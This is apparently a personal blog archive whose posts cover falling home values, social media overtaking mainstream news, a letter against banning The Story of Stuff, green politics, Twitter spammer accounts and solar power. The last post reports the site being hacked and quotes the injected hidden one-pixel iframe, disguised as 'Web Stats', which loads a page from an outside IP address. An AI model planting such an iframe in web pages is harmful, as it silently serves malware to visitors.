The Saga of the Debtors Prison Continues – More Bad News from Zillow

This bubble burst is one lesson I will never forget. Today I got my monthly report from Zillow in my email inbox. It brought more bad news. On the positive side I can already see some good indications coming in from elsewhere that say the economy is beginning to turn around. It just doesn’t look like it by looking at my home’s recently reported value.

Below is a screen shot of a report on Zillow.com for the Sacramento, California housing market. Looks pretty bad. You can also read the full report.

zillow-bad-news

Below is a snapshot of my home, local market, and the national market. As you can see the Sacramento area has been hit very hard. My take is that this is what happens when McMansions go up like mushrooms and then the roof figuratively caves-in.

my-house

I’m no economist but while we see positive trends in consumer confidence and in other areas I don’t expect to see any real economic rebound until all our homes get a little less upside down. Too many Americans feel like they are stuck in debtors prisons. When people begin to feel less stuck I’m certain that overall consumer confidence will rebound and spending will return.

While this is sad for the rest of America, (more spending means more debt), it will have a positive side effect for those of us that are looking to downsize. We will be able to make our move, literally. Until then we sit patiently paying the piper for our past presumed prosperity.

(Sorry… I couldn’t help the allure of an awkward alliteration.)

Social Media is quickly replacing Mainstream Media

I’m not the first person to have this realization; and I’m sure it will be a few years before this becomes a glaring reality. The internet is doing a much better job of keeping us informed, entertained, and connected than the mainstream media. People are shifting their attention from the big media channels and refocusing on other people.

Shifting Behavior

I stopped watching TV a while back. I’ve also found that everything I want to know is quickly found online from an even wider range of sources. I also have a very strong opinion of the TV News. It’s like a terrible microscope for all that’s disturbing in the world. Watching the TV News now feels like subjecting myself to a slow torture.

Entertainment is also shifting to the internet. You’ve probably noticed that many television networks, radio stations, magazines, and newspapers are trying to compete for attention by publishing their content online. The trouble is that these giants have a faster growing new competitor that can’t be beat. We are beginning to entertain each other with videos, writings, photos, audio recordings, live chat, micro blogging, etc.

Every day more people are discovering and connecting with other people through the internet. We’re beginning to entertain and inform each other and our attention is being drawn away from the mainstream media.

The giants are quickly trying to modify their business models to account for this new competitor. They will always retain a market share but their size will inevitably shrink as advertising dollars move with the shifting audience and companies like Google are perfectly positioned to absorb this new audience.

The Near Future

The future trend is that more and more people will begin to migrate from mainstream media and focus their attention on their growing social networks. This will happen for several reasons:

  • People will prefer to spend more of their time connecting with other people.
  • People will loose their craving for news and commercial interrupted entertainment because they will already be getting the information they want from their social networks.
  • People will become increasingly frustrated with the biased and diluted coverage of the television news media and prefer the flexibility of quickly checking multiple sources for facts.
  • People will continue to reject paper as a communication medium.
  • People will enjoy how they feel when they are disconnected from the one-way communication channels. The interactivity of the internet will be preferred.

I also think current media channels will be abandoned in this order… IMHO

  • Print News (Newspapers & Magazines: already on a fast decline.)
  • Television News (Beginning to face competition with free online news and social network websites like Twitter.)
  • Print Entertainment (Newspapers & Magazines)
  • Television Entertainment (More television entertainment will continue to be moved to the internet but advertising revenue will drop over time.)
  • Radio (Radio can be easily ported to the internet without much disruption in advertising revenue.)
  • Print Books (Books will last the longest because people make a personal connection to paper books.)

The Future Now

I’m personally looking forward to this peer focused future… in fact I actually think some of us are there now. All you have to do is turn off the big guys and start to listening to each other. It’s a bit ironic that making this simple choice and breaking old habits can instantly transport us to the future. I wonder what Einstein would say about that? Who knows… maybe time is just in our heads.

My letter to those who banned The Story of Stuff

Below is my letter to the school administrators who banned The Story of Stuff. Please write a letter too. Read the call to action that inspired this letter.

Hello,

The evidence is overwhelming and pollution and the economy are not partisan issues. No matter what personal or political beliefs each of us holds dear we’re forced to face these challenges together. We’re stronger together.

Humanity is consuming natural resources at an increasingly rate. Waste of all kinds is being produced at alarming rates. Pollution is spiraling out of control around the globe as nations require more energy and consume more natural resources to produce more consumer goods. But lets not focus on mother nature for a minute and instead turn to the immediate impact on humanity.

The economic meltdown was triggered by an over-extension of credit at every level. The abundance of credit fueled an artificial increase in the economy, like air filling a balloon. When the balloon popped, banks stopped lending money and corporations began to fail because the margin they had built their business on had disappeared. This collapse triggered repercussions throughout our economy. But all this should go without saying, we all know what happened.

The underlying problem seems to be that the American dream has shifted from real freedom to one built on visible material wealth. Borrowing money has become the norm. Mortgages, auto loans, and credit debt seem perfectly natural today and it’s almost unheard of that someone actually owns their home and is debt free. Over consumption has destroyed freedom through its reliance on debt. The majority essentially live an existence of voluntary indentured servitude simply because there’s no obvious alternative.

The Story of Stuff tells this story and quite clearly shows how consuming at an unsustainable level steals our freedom. The film is not about eliminating commerce but simply encourages us to do a better job of living within our personal and planetary means. By labeling The Story of Stuff propaganda and banning it from your school you are in effect condemning your students to a life of debt, not to mention a world filled with trash and a future full of trouble.

Please reverse your decision and give your students a chance. The Story of Stuff is not propaganda. It is a lesson in protecting freedom and our future.

Regards,
Michael Janzen

http://www.michaeljanzen.com

GREEN is not about being liberal or conservative

Sometimes it sounds like supporting GREEN initiatives is just for liberals. Things like sustainability, self-sufficiency, increased personal freedom, working less, and living more are goals most people desire. These things add up to a free life and are not about being liberal or conservative. They are about being free and living in a clean place.

We all like clean water, fresh food, breathable air, wildlife, rivers, mountains, and oceans. Shoot if all that stuff went into the dumpster we’d pretty much be there too. Out-of-control consumption also leads to more debt, which really seems more like modern indentured servitude. I’m not sure about you but living in debt on a dead rock doesn’t sound like a very nice way to pass the time.

We’re stronger united!

Lets agree to disagree on all those social issues, you know all that stuff that has nothing to do with the planet and everything to do with how we interact with each other. I’d love to see more progress there too but instead of asking for a miracle I’ll simply ask fr everyone to agree to unite on the environment.

Lets tell the politicians, manufacturers, commercial agriculture, energy companies, and all the other big environmental polluters that we’re sick and tired of the trash and policies that support more mess and more out-of-control consumption.

We’re stronger in numbers!

In the mean time we can each choose to lighten our personal impact on the world. It’s not easy but each step toward simplicity immediately empowers each of us to do more with our time and money. Last time I checked we could all use more of those two things.

(end of rant)

Kingpin account theory and solution for squashing spammers on Twitter

A quick recap of recent events

A few days ago I had an unusual influx of new followers on Twitter, many of them were clearly spammers. I was a bit shocked actually and I didn’t want to accidentally block a real person.

I did a little digging to try and figure out why I was getting the sudden landslide. I think it started with a post on tiny house design entitled, Tiny House Vacation Rental Idea. I suspect the keywords in that post drew a few unsavory folks because many of the new followers were “realty experts” selling MLM schemes.

I had blocked the most obvious ones but had actually left a couple of the questionable tweeps who had high follower counts. I figured it was safe to keep them; I mean how would a spammer get thousands of followers?

After blocking all the obvious ones I took a more careful look at these high ranking questionable tweeps. I noticed that they all had honest sounding bios and some even had no website link. They didn’t seem to be selling anything. Almost everything about the accounts made it seem like they were not spammers or even in business. Then I started clicking the links in their tweets.

The vast majority of their tweets were actually pretty good quality but I did find a few pointing to services like increasing the number of twitter followers and one or two buried MLM schemes. This made me suspicious enough to block them. It didn’t seem like a nice thing to do; but the flow of spammer follows immediately stopped like someone had turned off the tap.

My kingpin account theory

I think what’s happening is that the master schemester sets up a ‘good’ twitter account and tweets there as honestly as they can. They use their black hat techniques to build up a strong following for this kingpin account and then begin to sell a follower building service to novice schemesters. They essentially begin to sell their list of followers and follows like they would email addresses.

I know this sounds a bit paranoid but if you think like a schemester for a minute, it actually sounds like a nice little business plan. It also explains the sudden start and stop with the arrival and blocking of the suspected kingpin follower.

How to protect yourself

I’ve kept my account set to email me when someone follows me or uses my @michaeljanzen in a post. Here’s a screen shot of my settings page for reference.

twitter-account-settings

Setting it up like this also means I must manage the account closely but it just seems like a better idea to have a list of quality followers and build a quality community than risking possible contamination from spammers.

Why block the spammer follows?

I suspect spammers move through Twitter like a virus through the body, clinging to new followers like cells, and then using the new connections to build larger lists. Spammers make their money through building large lists of people not by the quality of the list. It’s a numbers game.

Twitter has given us the perfect tool to protect ourselves, the ability to block. But I suspect many people simple don’t block follow requests for the same reason I didn’t block those kingpin accounts… none of us want to block real people. On top of this we all have a desire to have more followers.

Spammers and schemesters are using these two natural human tendencies to their benefit. They know we are reluctant to block. They know we want more followers. They sell their black hat tricks and the more connections they make the more services, e-books, and schemes they can sell.

The more of us that catch onto this simple game and use the tools we have available, the harder it will be for spammers to infiltrate our quality communities. I’m not suggesting that anyone spend an excessive amount of time monitoring their twitter accounts. I am suggesting that you be on the lookout for the kingpins.

What does a kingpin look like?

  • Large lists, both follows and followers.
  • Any mention of a scheme in their tweets.
  • Any mention of a scheme or e-business in their bio or website.
  • A bio that reads like a nice person.
  • A bio that reads like an expert.
  • A bio and tweets that build confidence with a mix of things to buy.

For a kingpin account to work it must have big lists and look like an honest person or an expert. Since this account will also be an important sales engine for their schemes the tweets will be a mix of things that show off their expertise to build confidence. There will also be a mention here and there of schemes, e-books, and services they recommend. Often they will not post things they sell themselves, or so it seems. Remember con artists sound like the most honest people, they just always have something to sell or promote.

In the last 24 hours

I’ve noticed that I’ve gotten a few follows from people with these suspicious looking accounts. I’ve blocked them. In none of the cases did they seem to be people that would be interested in me and since they follow thousands of other people they probably wouldn’t me either.

I’ll keep up my surgical blocking campaign and see what happens. So far I think I have them beat. I’m not sure how this extra effort will benefit me; but it does feel good to know that the few people that follow me on Twitter are actually real people that care about the things I do. I’d rather have a 100 real people following me than 100,000 robots.

If you think I’m right… please RT.

I’m in spammer follow hell… HELP! Should I block them all?

Yikes! Just within the last few days I’ve been getting a massive number of folks following me on twitter that all claim to be the world’s best online marketing guru, personal trainer, health adviser, or some other crack-pot get-rich-quick multi-level-marketing schemer. I’ve been blocking them but I wanted to throw the question out there and see what other people do. I know these are just spam, fake accounts, and probably robots.

[poll id=”2″]

I dreamt there were solar panels on every roof

Imagine a world connected by a decentralized power grid. If we began installing grid-tied solar panels on every roof now we might just win the race to peak oil too.

The infrastructure is already set-up except for a place to store the extra power… oh yeah electric cars! We could store all that spare electricity in our cars. Imagine an world with millions of electric cars running around. Things would be a lot quieter and yes we’d need to look both ways before we cross the street.

The truth is that electric cars and range-extended electric cars will be hitting the roads in 2010. Hopefully their arrival will coincide with an economic recovery so the companies building them will succeed.

I can dream right? :-)

You know your getting noticed when you get hacked! WP Crack?

This morning at about 8AM my fellow tiny house blogger, Kent Griswold, let me know that this site was creating a security alert in Safari. The alert said that my site contained Malware. Immediately I started digging and within 20 minutes had figured it out. I’m not sure how it was done but a little tiny bit of code was stuck into one of my posts. Here is the code. Don’t worry it’s disabled but I would not recommend visiting that website.

<!– Web Stats –> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!– End Web Stats –>

It was only partly visible in html view, the iframe wouldn’t render so it looked virtually invisible. I changed my password, locked down my comments, and tightened up security. I suspect there may be a security hole in the current version of WordPress, but who knows it could have been some plug-in I was testing too.

I’m going to spend a little time later tonight changing passwords on all my blogs and doing what I can to protect myself. If you run blogs I suggest you try doing some searches for Malware too.

Lucky for me they picked my least busy blog, this one, my personal blog. It would seriously suck if my top blogs popped up warning screens like this one to all my visitors. Fricken hacker bastages!

screen-capture